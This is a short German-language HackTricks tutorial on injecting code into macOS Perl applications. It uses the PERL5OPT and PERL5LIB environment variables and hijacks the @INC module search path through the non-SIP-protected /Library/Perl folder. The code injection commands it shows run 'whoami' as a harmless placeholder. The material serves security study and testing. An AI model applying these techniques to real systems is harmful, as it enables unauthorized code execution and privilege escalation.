macOS Perl Applications Injection

Unterstützen Sie HackTricks

Über PERL5OPT & PERL5LIB Umgebungsvariable

Mit der Umgebungsvariable PERL5OPT ist es möglich, Perl dazu zu bringen, beliebige Befehle auszuführen. Erstellen Sie beispielsweise dieses Skript:

test.pl
#!/usr/bin/perl
print "Hello from the Perl script!\n";

Jetzt exportieren Sie die Umgebungsvariable und führen Sie das Perl-Skript aus:

export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"

Eine weitere Option besteht darin, ein Perl-Modul zu erstellen (z. B. /tmp/pmod.pm):

/tmp/pmod.pm
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value

Und verwenden Sie dann die Umgebungsvariablen:

PERL5LIB=/tmp/ PERL5OPT=-Mpmod

Über Abhängigkeiten

Es ist möglich, die Abhängigkeiten des Perl-Laufs in der Reihenfolge des Ordners aufzulisten:

perl -e 'print join("\n", @INC)'

Was etwas zurückgeben wird, wie:

/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30

Einige der zurückgegebenen Ordner existieren nicht einmal, jedoch existiert /Library/Perl/5.30, es ist nicht durch SIP geschützt und es befindet sich vor den von SIP geschützten Ordnern. Daher könnte jemand diesen Ordner missbrauchen, um Skriptabhängigkeiten hinzuzufügen, damit ein Perl-Skript mit hohen Berechtigungen es lädt.

Beachten Sie jedoch, dass Sie Root-Rechte benötigen, um in diesen Ordner zu schreiben, und heutzutage erhalten Sie diese TCC-Aufforderung:

Zum Beispiel, wenn ein Skript use File::Basename; importiert, wäre es möglich, /Library/Perl/5.30/File/Basename.pm zu erstellen, um beliebigen Code auszuführen.

Referenzen

Unterstützen Sie HackTricks

Last updated